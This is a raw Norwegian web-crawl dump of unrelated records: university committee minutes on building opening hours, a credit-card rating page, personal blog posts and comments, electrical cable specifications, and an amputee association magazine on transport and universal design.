L\u00e6ringsmilj\u00f8utvalget /15 Vedtak utarbeides i m\u00f8te. Erik Lundberg har meldt inn en sak om \u00e5 redusere driftstiden i byggene frem til eksamenslesingen tar til: I forbindelse med arbeidet med budsjettet for 2015 ble det besluttet \u00e5 gjennomf\u00f8re et pr\u00f8veprosjekt med redusert driftstid p\u00e5 NHHs bygg i v\u00e5rsemesteret. Hensikten er \u00e5 spare utgifter til energi. Hvor mye det er mulig \u00e5 spare er vanskelig \u00e5 ansl\u00e5, men ved \u00e5 gjennomf\u00f8re en pr\u00f8veperiode vil det gi tilstrekkelig innsikt til \u00e5 vurdere om dette har noe for seg. Ettersom byggene er \u00e5pne b\u00e5de for studenter og ansatte hele d\u00f8gnet er normalt byggene i drift nesten hele d\u00f8gnet, dvs. at varme, lys og ventilasjon er p\u00e5sl\u00e5tt. Pr\u00f8veprosjektet inneb\u00e6rer at anleggene settes til nattstilling ca. klokken 20 og at byggene stenges for studenter klokken 21. Vi \u00f8nsker \u00e5 starte pr\u00f8veprosjektet og redusere driftstiden p\u00e5 byggene s\u00e5 snart som mulig, men \u00e5pne byggene for d\u00f8gndrift n\u00e5r eksamenslesingen tar til, like over p\u00e5ske, dvs. medio april. Vi vil da kunne ha d\u00f8gndrift frem til eksamensperioden er ferdig, ca. 20. juni. Erik Lundberg (Sent til utvalgsekreter per e-post ) Studentene m\u00e5 bli informert om pr\u00f8veprosjektet innen det iverksettes. 6\n\n, Kaja Toset (Delvis m\u00f8tt), B\u00e5rd Johansen\") M\u00d8TEPROTOKOLL L\u00e6ringsmilj\u00f8utvalget Dato: 16.03.2015 kl. 14:00 Sted: Midt i mellom 2 Arkivsak: 14/00042 Tilstede: M\u00f8tende varamedlemmer: Forfall: Frid Helen Olsen Hop, Sissel Hafstad, Inger Milde, Matteo\n\n M\u00d8TEPROTOKOLL L\u00e6ringsmilj\u00f8utvalget Dato: 07.03.2016 kl. 12:15 Sted: SOL1 Arkivsak: 14/00042 Tilstede: Forfall: Thor-Inge N\u00e6sset, Alexandra Bj\u00f8rndal, Erik Lundberg, Morten Skaar, Nikolai Belsvik, Oscar\n### Frid Helen Olsen Hop, Alexandra Bj\u00f8rndal, Erik Lundberg, Thor- Inge N\u00e6sset, Morten Skaar, Matteo Blomberg Ghini, B\u00e5rd Johansen,\n\n M\u00d8TEPROTOKOLL L\u00e6ringsmilj\u00f8utvalget Dato: 21.09.2015 kl. 11:00 Sted: Styrerommet M\u00f8rkvedg\u00e5rden Arkivsak: 15/02683 Tilstede: M\u00f8tende varamedlemmer: Forfall: Andre: Protokollf\u00f8rer: \u00d8ystein Parelius, Grete\n\n", "language": "no", "__index_level_0__": "dedf22d5-b15d-436b-b6c7-d49f734e3632"}
{"url": "http://ikredittkort.no/rangering-av-kredittkort/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00301.warc.gz", "warc_date": "2018-03-24T23:46:32Z", "text": "# Rangering av kredittkort\n\nAlle kredittkort du finner omtaler av her p\u00e5 siden er gjenstand for en rangering i et \u00abstjernesystem\u00bb. Da gir vi en vurdering av kredittkort etter en rekke vurderinger med alt fra 1 til 5 stjerner. Vi rangerer kredittkort etter objektive vurderinger og skal kun fungere som veiledende for det enkelte kredittkort.\n\nVi vurderer kredittkort etter:\n\n  - Renter\n  - Fordeler\n  - Type\n  - \u00c5rsgebyr\n  - Maks kreditt\n\nI denne vuderingen gir vi en stjerne (eller en halv) i hvert punkt hvis vi vurderer kredittkortet verdt \u00e5 ha og kan gi deg fordeler. Alle vurderinger skal anses som objektive og er ikke n\u00f8dvendigvis fullt dekkende for produktet eller markedet.\n\nTa alltid en egen vurdering n\u00e5r du skal l\u00e5ne penger \u2013 det er tross alt din hverdags\u00f8konomi det er snakk om. Alle opplysningene her p\u00e5 siden skal v\u00e6re korrekte, men feil kan skje og vilk\u00e5r kan endres. N\u00e5r du skal s\u00f8ke p\u00e5 et kredittkort kan du, for din egen skyld, dobbeltsjekke at alle opplysninger du finner her samsvarer med de opplysningene du finner hos annons\u00f8ren. Det er alltid en god ide \u00e5 sammenlign flere produkter for \u00e5 finne det kredittkortet som gir deg mest for pengene og de beste fordelene\\!\n\nBrukere har ogs\u00e5 muligheten til \u00e5 sende inn egne rangeringer.\n\niKredittkort.no er drevet med et kommersielt form\u00e5l. Alt innhold p\u00e5 iKredittkort.no er veiledende informasjon og skal ikke betraktes som finansiell r\u00e5dgivning eller som fullt dekkende for de produkter som finnes p\u00e5 markedet. Vi benytter oss av informasjonskapsler.  \nSiden er oppdatert mars 2018.  \n", "language": "no", "__index_level_0__": "a8801828-67f7-4f28-a2c9-14a906eb3649"}
{"url": "http://baktanker.blogspot.com/2009/07/god-bedring-kom-snart-tilbake.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00283.warc.gz", "warc_date": "2018-03-24T23:37:17Z", "text": " \n\n## onsdag, juli 08, 2009\n\n### God bedring, kom snart tilbake\\!\n\n  \nJulie Str\u00f8msv\u00e5g har skada seg og vil ikke v\u00e6re p\u00e5 skjermen p\u00e5 noen m\u00e5neder. Jeg h\u00e5per denne skj\u00f8nnheten snart kommer tilbake, hun er TV2-sportens pryd\\! Penere enn b\u00e5de Davy Wathne og Ivar Hoff, for \u00e5 si det mildt. Hun virker ogs\u00e5 smartere enn de fleste gutta hun jobber med. Under det lavpannede talkshowet TV2 har etter hver serierunde stiller hun fornuftige sp\u00f8rsm\u00e5l som stort sett blir besvart med gauling og grynting fra det maskuline panelet. At en fyr som Ivar Hoff f\u00e5r drive p\u00e5 \u00e5r etter \u00e5r overg\u00e5r min fatteevne. Davy Wathne er jo ogs\u00e5 noe av en skrue, dette var vel for eksempel ikke s\u00e5 lurt? Av og til lurer en p\u00e5 om NRK-monopolet ikke var s\u00e5 dumt likevel, jeg tror ikke akkurat at Arne Scheie ville rota seg opp i noe s\u00e5nt.\n\n Etiketter: Fotball \n\n \n#### 1 kommentar:\n\n \n\nAnonym sa...\n\nIvaren har komt seg. I g\u00e5r tryllet han med ord og et snev dialekt.Et snev av Reodor Felgen  \n\\-Ivaren e som julen, itt eventyr med litt hvitt p\u00e5 toppen.\n\n mandag, mai 10, 2010    \n\n## Om meg\n\n", "language": "no", "__index_level_0__": "dc084cea-1327-4a39-9c7f-b4ff513b29fd"}
{"url": "https://hjertejubel.com/2018/03/06/det-ironiske-med-fomo/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00693.warc.gz", "warc_date": "2018-03-24T23:04:09Z", "text": "## 7 kommentarer om \"Det ironiske med\u00a0FOMO\u2026\"\n\n1.   **Line** sier:\n    \n    6\\. mars 2018, kl. 09:29\n    \n    Jeg slettet snapchat for snart 3 \u00e5r siden (eller noe der omkring), og jeg har ikke angret en eneste dag. Jeg har instagram, men varsler er av og jeg poster sjelden. Facebook er en liten tidstyv, men noe m\u00e5 man jo gj\u00f8re n\u00e5r man g\u00e5r hjemme hele dagen :')\n    \n    1.   **Hjertejubel** sier:\n        \n        9\\. mars 2018, kl. 03:07\n        \n        Jeg tror tanken p\u00e5 \u00e5 ikke v\u00e6re \u00abder\u00bb (les; sosiale medier) er mye verre enn \u00e5 faktisk ikke v\u00e6re der. N\u00e5 er det bare tre dager siden jeg slettet Snapchat, men jeg kjenner allerede en enorm lettelse. Litt mindre st\u00f8y og mange mindre ord som henger i l\u00f8se luften som burde besvares. Insta og Facebook kommer ogs\u00e5 til \u00e5 ryke n\u00e5r det passer seg s\u00e5nn \u2013 no doubt about it. Men akkurat n\u00e5 er de nyttige mtp fotograferingen, s\u00e5 enn s\u00e5 lenge f\u00e5r de bli\ud83d\ude0a\n        \n        1.   **Line** sier:\n            \n            11\\. mars 2018, kl. 18:52\n            \n            Akkurat s\u00e5nn f\u00f8lte jeg det ogs\u00e5, det var (og er fortsatt) helt nydelig. Insta beholder jeg nok fordi jeg har klart \u00e5 ikke f\u00f8le at jeg \u00abm\u00e5\u00bb (jeg er som regel kun innom n\u00e5r jeg poster egne bilder, det gir meg glede, jeg poster ikke s\u00e5 mye, og jeg har skrudd av notifikasjoner). Facebook syns jeg er vanskelig, for det er som regel der jeg holder kontakten med venner.. pr\u00f8ver \u00e5 overtale alle jeg kjenner til \u00e5 skaffe seg whatsapp, s\u00e5 kan vi faktisk snakke der, og jeg holde meg unna alt fb-maset \ud83d\ude4a\ud83d\ude4a\n            \n2.   **Helene Aspergerinformator** sier:\n    \n    6\\. mars 2018, kl. 17:56\n    \n    Jeg skj\u00f8nner. Med kameraet pr\u00f8ver jeg \u00e5 sikre meg at jeg f\u00e5r bevart det stygge og fryst det vakkert, med eller uten redigering. Fanget nuet og leve i det fullt ut \u2013 for n\u00e5r jeg st\u00e5r der og stiller lukkertid, ja da lever jeg.\n    \n    1.   **Hjertejubel** sier:\n        \n        9\\. mars 2018, kl. 03:09\n        \n        De \u00f8yeblikkene hvor man fordyper seg i genuine hobbyer og interesser er s\u00e5 verdifulle. Bare for seg selv, uten \u00e5 tenke p\u00e5 at det skal publiseres eller bed\u00f8mmes av andre. Jeg har begynt \u00e5 skrive dagbok, ja \u2013 med penn og papir som i gamledager\\! Kun for meg selv. Det f\u00f8les skj\u00f8nt.\n        \n3.   **Milla** sier:\n    \n    15\\. mars 2018, kl. 19:05\n    \n    Dette. Er. S\u00e5. Sant. S\u00e5 utrolig bra skrevet. Jeg kommer ikke til \u00e5 klare \u00e5 slette meg fra snapchat. Ei heller facebook eller instagram. Min familie, som ikke bor i samme by, og SnapKollektivet er den st\u00f8rste grunnen.\n    \n    ( Jeg regner med at dette er grunnen til at du sluttet \u00e5 f\u00f8lge meg p\u00e5 insta og at det ikke har noe med meg \u00e5 gj\u00f8re, hehe \ud83d\ude09 )\n    \n    1.   **Hjertejubel** sier:\n        \n        16\\. mars 2018, kl. 12:52\n        Du har helt rett\\! Om du ser p\u00e5 f\u00f8lgerlisten min p\u00e5 instagram n\u00e5 vil du se venner jeg ser i det daglige, familie, kolleger og et par inspirasjonskontoer. Jeg gj\u00f8r v\u00e5rrengj\u00f8ring b\u00e5de i hjemmet men viktigere p\u00e5 sosiale medier. I det siste har jeg kjent \u00abnoia\u00bb komme krypende ifht telefonen som lager lyd og notifications som m\u00e5 besvares. En kvelende f\u00f8lelse som jeg n\u00e5 heldigvis vet hvordan jeg kan takle \ud83d\ude42 derfor har listen over folk jeg f\u00f8lger g\u00e5tt fra over 1300 personer til 94. P\u00e5 Facebook har jeg sluttet \u00e5 like de fleste sidene jeg har likt. Den andre kostholdskontoen min + snap er slettet \u2013 og det f\u00f8les s\u00e5 bra. Men\\! Jeg f\u00f8lger bloggen din p\u00e5 bloglovin, s\u00e5 jeg f\u00e5r deg med meg likavel \u2764\ufe0f jeg har komt frem til at det er nok \u00e5 f\u00f8lge noen \u00e9n plass\ud83d\ude01\n        \n", "language": "no", "__index_level_0__": "576b7a28-0bbb-4a66-aece-1ef0035c46aa"}
{"url": "http://hilderk.blogspot.com/2010/05/srappetreff.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00203.warc.gz", "warc_date": "2018-03-24T23:32:31Z", "text": "## fredag 28. mai 2010\n\n### Srappetreff\n\nVar p\u00e5 scrappetreff i Sola, hos scrapshop, i g\u00e5r. Veldig kjekt. Fikk tips til b\u00e5de nye bretteteknikker p\u00e5 kort og minibok, s\u00e5 n\u00e5 blir det nok litt scrapping i helga. Ellers laget jeg denne LOen p\u00e5 treffet i g\u00e5r. Bilder av meg og Maren i samme kjolen. Kjekt med arvegods ;)  \n\n\n\n14:31              \n", "language": "no", "__index_level_0__": "8b8f06dc-dd39-4280-811a-2f92d97c3325"}
{"url": "http://docplayer.me/17042595-231-02-hoyspenningsnett.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00128.warc.gz", "warc_date": "2018-03-25T00:25:44Z", "text": "\n\n2 Spesifikasjoner: H\u00f8yspenningsnett kv Side 2 av 5 I tillegg gjelder andre relevante normer og forskrifter. 2 Tekniske krav 2.1 Forskriftskrav Alle anlegg skal bygges iht. de enhver tid gjeldende forskrifter, for tiden Forskrifter for elektriske forsyningsanlegg - FEF 2006 og andre relevante forskrifter og normer. 2.2 Typer/st\u00f8rrelser F\u00f8lgende kabeltyper/st\u00f8rrelser skal kunne benyttes i Nettselskapets distribusjonsnett: Kabelanlegg: P\u00e5 nye og rehabiliterte anlegg skal det kun benyttes kabel av type TSLF med unntak av forbindelser internt i nettstasjoner (mellom transformator og HS-anlegg). For Pex kabel skal det benyttes kabel for 24 kv som standard. For ordin\u00e6re h\u00f8yspenningsavganger fra transformatorstasjon til f\u00f8rste nettstasjon/koplingsstasjon velges 3x1x400 Al og mellom nettstasjoner/koplingsstasjoner, velges kabel: 3x1x240 Al Kabeltyper/st\u00f8rrelser/materiell ut over dette skal godkjennes av Nettselskapet. TSLE: 3x1x50 Al, 3x1x150 Al, 3x1x240 Al, 3x1x400 Al og 3x1x630 Al. TSLF: 3x1x50 Al, 3x1x150 Al, 3x1x240 Al, 3x1x400 Al og 3x1x630 Al. (denne kabel har ledende kappe og kan kappetestes i r\u00f8r). TXSE: 3x240 Al (benyttes kun hvor andre relevante kabeltyper ikke er mulig \u00e5 benytte, eks. i enkelte eksisterende sm\u00e5 r\u00f8r). DKR: 3x240 Al Kanalkabel, benyttes hvor plastisolerte kabler ikke kan brukes, eks. eksisterende betongkanaler og andre trange kanaler. KABEL I GANGBARE KULVERTER: I gangbare kulverter skal det kun benyttes kabel type DKR (kanalkabel), kabel med brannhemmende ytterkappe eller tilsvarende. Dette pga brannfare og brannspredning I enkelte anlegg er det p\u00e5krevet \u00e5 benytte halogenfrie kabler (eks. anlegg med strenge krav til brannsikkerhet). Luftnett: BLX/BLL: Tverrsnitt 50 q og st\u00f8rre kan benyttes p\u00e5 avgreninger og tverrsnitt 95 q og st\u00f8rre p\u00e5 hovedliner. BLX kan normalt belastes mer enn BLL. Universalkabel: Minimum 3x50 q Al (dette tverrsnittet tilfredstiller de kortslutningsytelsene som forekommer i nettet). Kabeltyper/st\u00f8rrelser/materiell ut over dette skal godkjennes av Nettselskapet.\n\n\n\n", "language": "no", "__index_level_0__": "8cf8589b-80cf-4fad-8f52-b5c5f8418bda"}
{"url": "http://docplayer.me/3294940-Marcus-med-nye-badeproteser-16-17-enda-en-prisvinner-arets-ortopediingenior-14-15-universell-utforming-og-mangel-pa-sadan-8-9-10-og-11.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00281.warc.gz", "warc_date": "2018-03-24T23:53:36Z", "text": "\n\n4 En rask prat med Randi Raaen 4 \u00c5rsm\u00f8te i Momentum Buskerud. Helge Borgevad skiftet fra lederskap til nestlederskap og har her ordet. Foto: Hans Hekneby Reinertsen. Et f\u00f8rste aktivt \u00e5r i Buskerud Fem medlemsm\u00f8ter, syv styrem\u00f8ter og andre aktiviteter i tillegg dette kunne fylkeslaget Momentum Buskerud se tilbake p\u00e5 etter sitt f\u00f8rste virke\u00e5r. Laget ble stiftet i februar 2010, og det f\u00f8rste \u00e5rets aktiviteter er oppsummert i \u00e5rsberetningen, som ble lest opp under \u00e5rsm\u00f8tet i januar, avholdt i Drammen. Momentum-veteran Helge Borgevad satt som leder det f\u00f8rste \u00e5ret, men frasa seg gjenvalg, under henvisning til sin arbeidssituasjon, med den f\u00f8lge at et rollebytte fant sted: Randi Raaen, nestleder det f\u00f8rste \u00e5ret, ble valgt til leder, Borgevad til nestleder. Handlingsplanen for de forest\u00e5ende tolv m\u00e5neder b\u00e6rer bud om stor aktivitet: Arbeid med likemannstjenesten, medlemsm\u00f8ter og andre arrangementer, spredning av informasjon om Momentum overfor helsepersonell og ortopediske institutter, h\u00e5p om \u00e5 f\u00e5 avholdt en lokal Livsglede-utstilling (vandrende fotoutstilling), samarbeid med pasientorganisasjoner, arbeid for optimalt tilpassede proteser, samarbeide med FFO (Funksjonshemmedes Fellesorganisasjon) Buskerud Nils-Odd T\u00f8nnevold, den tidligere Momentum-lederen gjennom mange \u00e5r, var invitert som gjest til \u00e5rsm\u00f8tet i h\u00e5p om at han ville gi noen gode r\u00e5d og vink. Det ga han. Godt under to \u00e5r etter at hun som f\u00f8lge av dysmeli gjennomgikk en selvvalgt leggamputasjon, er Randi Raaen fra Drammen for lengst vel etablert som et aktivt Momentum-medlem: I februar i fjor, da allerede aktiv som likemann, var hun med p\u00e5 \u00e5 etablere fylkeslaget Momentum Buskerud, hvor hun satt som nestleder i et \u00e5r, for s\u00e5 \u00e5 bli lagets leder. Dine erfaringer etter et \u00e5r som nestleder i Momentum Buskerud? Jeg synes vel det var mye \u00e5 gj\u00f8re, for s\u00e5 vidt, for \u00e5 f\u00e5 ting p\u00e5 plass. Vi var et lite styre og hadde mange ting \u00e5 ta tak i. Men positive mennesker i styret var alle med p\u00e5 \u00e5 dra lasset. Din fremste ambisjon som leder av laget? Jeg ivrer jo for \u00e5 f\u00e5 budskapet spredt rundt omkring om at vi har et slikt lokallag i Buskerud. Jeg \u00f8nsker flere medlemmer, og \u00e5 f\u00e5 til litt mer aktivitet blant de medlemmene vi har; det er vanskelig \u00e5 f\u00e5 med folk. Det er viktig at det finnes et fellesskap for oss som er amputert, og viktig at folk f\u00e5r greie p\u00e5 at det finnes en forening som v\u00e5r mai i Trondheim g\u00e5r \u00e5rets Momentum-weekend og \u00e5rsm\u00f8te av stabelen. Alle medlemmer f\u00e5r invitasjon til \u00e5 delta. Hold av datoen n\u00e5. Tema for weekenden er overvekt og livsstilsendring, sier Momentums styreleder Hans Emil M\u00f8ller- Hansen til Livsglede. Han opplyser at weekenden, med hotellet Scandic Solsiden Randi Raaen \u00f8nsker seg flere medlemmer og mer aktivitet i Momentum Buskerud. Foto: Hans Hekneby Reinertsen. Hvor mye tid bruker du p\u00e5 ledervervet? Vanskelig \u00e5 si, men det g\u00e5r nok noen timer pr. uke. Et godt r\u00e5d til nyamputerte? St\u00e5 p\u00e5, ikke gi opp. Momentum-samling i Trondheim som samlingssted, skal starte med avholdelse av Momentums \u00e5rsm\u00f8te. M\u00f8ller-Hansen peker p\u00e5 at overvekt regnes blant helse-norges st\u00f8rste utfordringer, og han sier: Momentum vil denne weekenden aktivt bidra ved \u00e5 fokusere p\u00e5 livsstilsendring, konsekvenser og betydning for amputerte og protesebrukere.\n\n\n\n\n\n6 Forskningsnotat til Samferdselsdepartementet fastsl\u00e5r: Bosted avgj\u00f8r hvor mye brukeren f\u00e5r ut av TT-ordningen Den offentlige TT-ordningen (tilrettelagt transport) finnes i samtlige av landets fylker, men har ulikt innhold i ulike fylker. I et notat forskningsleder Gisle Solvoll ved Handelsh\u00f8gskolen i Bod\u00f8 (HHB) ved Universitetet i Nordland har utarbeidet p\u00e5 oppdrag fra Samferdselsdepartementet, heter det: TT skal prim\u00e6rt benyttes til fritidsreiser. Hvordan det enkelte fylke organiserer ordningen, hvor mange som f\u00e5r tildelt TT-kort og i hvilket omfang brukerne f\u00e5r reise, varierer mellom fylkene. 6 I en artikkel Solvoll har skrevet om notatet i tidsskriftet Samferdsel (januar-utgaven 2011) under tittelen Funksjonshemmede: Bostedsadressen bestemmer transporttilbudet - oppsummerer han slik: Fylkespolitikerne prioriterer sine funksjonshemmede innbyggere sv\u00e6rt ulikt n\u00e5r det gjelder st\u00f8tte til transport. Store ulikheter Solvoll trekker eksempelvis frem at I Vestfold og Sogn og Fjordane kan hver TT-bruker i gjennomsnitt foreta 10 \u00e5rlige turer, mens tilsvarende tall i hovedstaden er 65. Han minner han om at ordningen skriver seg fra 1988 og at den gjelder personer som av forskjellige \u00e5rsaker ikke kan bruke ordin\u00e6r kollektivetransport og dermed kan ha vansker med \u00e5 delta p\u00e5 linje med andre i ulike aktiviteter i samfunnet. De typiske TT-bruker er if\u00f8lge Solvoll en kvinne p\u00e5 over 70 \u00e5r som bor alene og har aldersrelaterte forflytningsproblemer. Samtidig presiserer han at brukerne er h\u00f8yst ulike, idet de inkluderer unge Brukerne av TT-ordningen inkluderer unge og eldre, mennesker som har hatt en funksjonshemning hele livet og andre som opplever forflytningsproblemer f\u00f8rst i alderdommen, skriver forskningsleder Gisle Solvoll ved HHB i en artikkel i tidsskriftet Samferdsel. Illustrasjonsfoto: Hans Hekneby Reinertsen. og eldre, mennesker som har hatt en funksjonshemning hele livet og andre som opplever forflytningsproblemer f\u00f8rst i alderdommen aktive TT-brukere Blant de mange fakta Solvoll beretter om: I 2010 hadde vel personer TT-kort, men siden 21 prosent ikke brukte kortet, var kun av dem aktive brukere. Fylkeskommunenes utgifter til TTkj\u00f8ring var ca. 440 millioner kroner i Tildelingene har ikke holdt tritt med utviklingen i drosjetakstene, med den f\u00f8lge at tilbudet generelt er blitt d\u00e5rligere med \u00e5rene, uten at dette gjelder alle fylker. I 2010 reiste hver aktiv TT-bruker for i gjennomsnitt 4882 kroner (egenandel, som gjelder i de fleste fylkene, ikke medregnet). Gjennomsnittet i Oslo (h\u00f8yest) var kroner, i Vestfold (lavest) 1417 kroner. Solvoll understreker at TT er \u00e9n av flere transportordninger for funksjonshemmede; han minner om at NAV kan gi st\u00f8nad til bil og grunnst\u00f8nad til transport samt om at det i 2001 i tillegg ble innf\u00f8rt en fors\u00f8ksordning med tilrettelagte arbeids- og utdanningsreiser for funksjonshemmede. If\u00f8lge Solvoll er rundt 20 prosent av TT-brukerne mottagere av st\u00f8tte ogs\u00e5 fra en annen transportordning. Ang\u00e5ende dette skriver han at det er en betydelig utfordring \u00e5 f\u00e5 en bedre samordning av de transportordningene som spesielt er rettet mot forflytningshemmede. Det rundt 50 sider tykke notatet kan leses p\u00e5 Samferdselsdepartementets nettsider. G\u00e5 til Samferdelsdepartementet.no og s\u00f8k Transportordningen for funksjonshemmede.\n\n\n\n\n\n\n\n\n\n10 Et samfunn for alle representert. Blant det gruppen tar til orde for i rapporten, er mer samarbeid mellom ulike akt\u00f8rer i arbeidet med universell utforming, og mer helhetstenkning. Utallige tilfeller av manglende ledd i kjeden eksempelvis d\u00e5rlig fremkommelighet mellom en bussholdeplass og et kj\u00f8pesenter - ligger \u00e5penbart til grunn n\u00e5r gruppen i sin rapport skriver: En kjede er kun s\u00e5 sterk som det svakeste ledd. Mye \u00e5 gripe fatt i Et universelt utformet Norge i 2025? Et \u00f8vrig utvalg sitater fra arbeidsgruppens rapport sier noe om utfordringene som m\u00e5 h\u00e5ndteres for at m\u00e5let skal bli n\u00e5dd bare hva transportsystemet ang\u00e5r: Det finnes ingen samlet tilstandsvurdering av universell utforming i det norske transportsystemet. Vi vet at det er klare forbedringspotensialer b\u00e5de p\u00e5 vegnettet, p\u00e5 jernbanen, i luftfarten og i havnene. Det er et stort behov for oppgradering og ombygging av infrastrukturen b\u00e5de i de fire st\u00f8rste byomr\u00e5dene og utenfor disse. Utbedring av eksisterende infrastruktur inneb\u00e6rer at gang- og sykkelveger, fortau, holdeplasser, stasjoner, knutepunkt, flyplasser, ferjekaier, gangfelt, n\u00f8dutganger, rasteplasser osv. skal tilfredsstille kravene til universell utforming. Dette er komplisert og kostbart. Et kollektivtransportsystem som kan brukes av flest mulig reisende, til tross for individuelt varierende funksjonsevne, er ikke en realitet pr. i dag. Kompetansen innen fagomr\u00e5det er \u00f8kende, men det er behov for en fortsatt satsning p\u00e5 kunnskapsheving, bevisstgj\u00f8ring og holdningsendringer til arbeidet med universell utforming og til hva dette inneb\u00e6rer fra overordnet planlegging til detaljutf\u00f8relser i for eksempel drift og vedlikehold. Det finnes pr. i dag ikke gode standarder og rutiner for hvordan universell utforming skal ivaretas gjennom drift og vedlikehold i l\u00f8pet av \u00e5ret. Vinterdrift er en s\u00e6rlig utfordring. Se opp for folk i skinnegangen Hadde det v\u00e6rt en bil som her blokkerte fortauet og ledet folk ut i trikkeskinnene, ville den med en viss grad av sannsynlighet v\u00e6rt fjernet for lenge, lenge siden. Men her dreier det seg om en konstruksjon som for noen m\u00e5neder siden ble reist i forbindelse med renovering av en byg\u00e5rd, og det st\u00e5r muligens intet sted skrevet at Trafikketatens representanter, de som hyppig ilegger bileiere gebyrer for feilparkering, skal bry seg om den slags, skj\u00f8nt det p\u00e5 denne Oslo-etatens nettsider st\u00e5r skrevet av den arbeider for at Oslo skal v\u00e6re en trafikksikker by med god fremkommelighet. Muligens st\u00e5r det heller intet sted skrevet at politifolk skal bry seg om den slags, ei heller at selskapet som flagger sitt navn p\u00e5 konstruksjonen (www.infill.no et Foto: F. Dahl selskap i Aspelin Ramm Gruppen) skal bekymre seg over de farlige situasjoner en slik konstruksjon kan f\u00f8re til. Men skulle det finnes en trikkef\u00f8rer som har meldt oppover i systemet at her finnes et potensielt lite problem, best\u00e5ende av folk i skinnegangen, kanskje uten \u00e5 v\u00e6re blitt h\u00f8rt? Eller hva med de mange stortingspolitikerne som har boliger like i n\u00e6rheten? Ikke godt \u00e5 vite. Barnevogntrillere, rullestolbrukere, krykkebrukere og eldre med svake ben og d\u00e5rlig syn i den aktuelle del av hovedstaden har kanskje for lengst funnet ut at det simpelt hen er best ikke \u00e5 ferdes p\u00e5 stedet s\u00e5 lenge konstruksjonen st\u00e5r der og sperrer uten at det er laget noe midlertidig fotgjengerfelt som skulle kunne lette kryssingen av gaten over til fortauet p\u00e5 den andre siden. Tekst og foto gjengitt med tillatelse fra tidsskriftet Samferdsel, der saken sto p\u00e5 trykk i vinter (Samferdsel nr. 1- januar 2011).\n\n\n\n11 Slik kan det gj\u00f8res Med den nylig ferdigtrykte H\u00e5ndbok Universell utforming av veger og gater har Statens vegvesen skaffet seg et nytt verkt\u00f8y til bruk i arbeidet for \u00e5 gj\u00f8re hverdagen mer bekvem for befolkningen. If\u00f8lge Vegvesenet er dette den f\u00f8rste h\u00e5ndboken i denne etaten for universell utforming. St\u00f8tter du Momentum kan du f\u00e5 skattefradrag I Norge er det i dag ca personer som mangler arm og/eller bein som f\u00f8lge av dysmeli, sykdom eller ulykke. Ved \u00e5 st\u00f8tte v\u00e5rt arbeid \u00f8konomisk hjelper du oss \u00e5 hjelpe flere amputerte og p\u00e5r\u00f8rende. Hvorfor b\u00f8r du st\u00f8tte Momentum? Ingrid \u00d8vsteng, som har ledet arbeidet med h\u00e5ndboken ved Transportplanseksjonen i Vegdirektoratet, sier: Universell utforming er ett av fire hovedm\u00e5l i Nasjonal transportplan H\u00e5ndboken er laget for \u00e5 bidra til at vi f\u00e5r et universelt utformet transportsystem som beskrevet i NTP. Den kan ogs\u00e5 fritt brukes av fylker og kommuner. Hun beskriver h\u00e5ndboken som en veileder for alle som jobber med universell utforming, fra overordnet planlegging av transportsystemet og ned til detaljer som for eksempel utforming av kantstein eller sn\u00f8br\u00f8yting. du st\u00f8tter en god sak og f\u00e5r skattefradrag. Dette er fordi Momentum er p\u00e5 listen over godkjente organisasjoner som du kan gi en gave til og f\u00e5 skattefradrag. Slik gj\u00f8r du: Overf\u00f8r din gave til Momentums konto og oppgi Gave og ditt personnummer under Bel\u00f8pet gjelder og oppgi ditt navn og adresse. Resten g\u00e5r av seg selv. For \u00f8vrig har det offentlige bestemt f\u00f8lgende for at fradragsrett skal gjelde: Samlet gave m\u00e5 v\u00e6re minst kr 500 i l\u00f8pet av inntekts\u00e5ret per giver. Maksimalt fradragsberettiget bel\u00f8p per giver er kr per \u00e5r (du kan gi mer enn dette, men vil kun f\u00e5 skattefradrag for de f\u00f8rste ). Vurderer du \u00e5 testamentere til Momentum? ring eller send e-post til s\u00e5 sender vi deg et lite hefte som beskriver hvordan du g\u00e5r frem. 11 Mange som ferdes gatelangs har merket seg at myndighetene i noen tilfelle som gjelder universell utforming har v\u00e6rt flinke i anleggsfasen, for s\u00e5 \u00e5 svikte i oppf\u00f8lgingen. Men den nye h\u00e5ndboken tar for seg ogs\u00e5 drift og vedlikehold, og som \u00d8vsteng sier: For eksempel er det viktig \u00e5 ikke legge igjen br\u00f8ytekanter som er til hinder for fri ferdsel om vinteren, og viktig \u00e5 sl\u00e5 plen regelmessing langs gater og veger eller feie gater og bussholdeplasser. H\u00e5ndboken kan leses p\u00e5 Statens vegvesens nettsider. Har du sp\u00f8rsm\u00e5l? kontakt Momentums generalsekret\u00e6r Elin Holen De Capitani, tlf , Momentum driver et omfattende landsdekkende arbeid for \u00e5 gj\u00f8re hverdagen til amputerte og p\u00e5r\u00f8rende bedre. Blant de mange oppgavene er bes\u00f8kstjeneste/likemannstjeneste ved sykehus og opptrenings senter, store og sm\u00e5 sammenkomster, kurs og oppl\u00e6ring av frivillige og tillitsvalgte, lobby virksomhet overfor politikere for \u00e5 oppn\u00e5 bedre k\u00e5r, spredning av livsglede og fjerning av barrierer gjennom visning av utstillingen Livsglede, utgivelse av medlemsbladet Livsglede, drift av organisasjon nasjonalt og i fylkene. Foto: Dag Thorenfeldt\n\n\n\n\n\n\n14 Momentumprisen Geir Bornkessel (i midten) om hva prisvinner Roger Gsell (til h\u00f8yre) kan f\u00e5 kunder til \u00e5 f\u00f8le: Det er nesten slik at vi som brukere ikke savner det beinet vi en gang hadde. Foruten nestleder Bornkessel, var Rune S\u00f8stuen tilstede som representant for Momentums hovedstyre. Proteser fra vinnerens h\u00e5nd passer som h\u00e5nd i hanske F. Dahl (tekst) Hans Hekneby Reinertsen (foto) Han er opprinnelig fra Sveits, Roger Gsell, men har i mange \u00e5r bodd i Norge. Her har han stukket seg s\u00e5 positivt frem i sitt arbeid som ortopediingeni\u00f8r at han er blitt vinner - mer n\u00f8yaktig \u00e9n av vinnerne - av 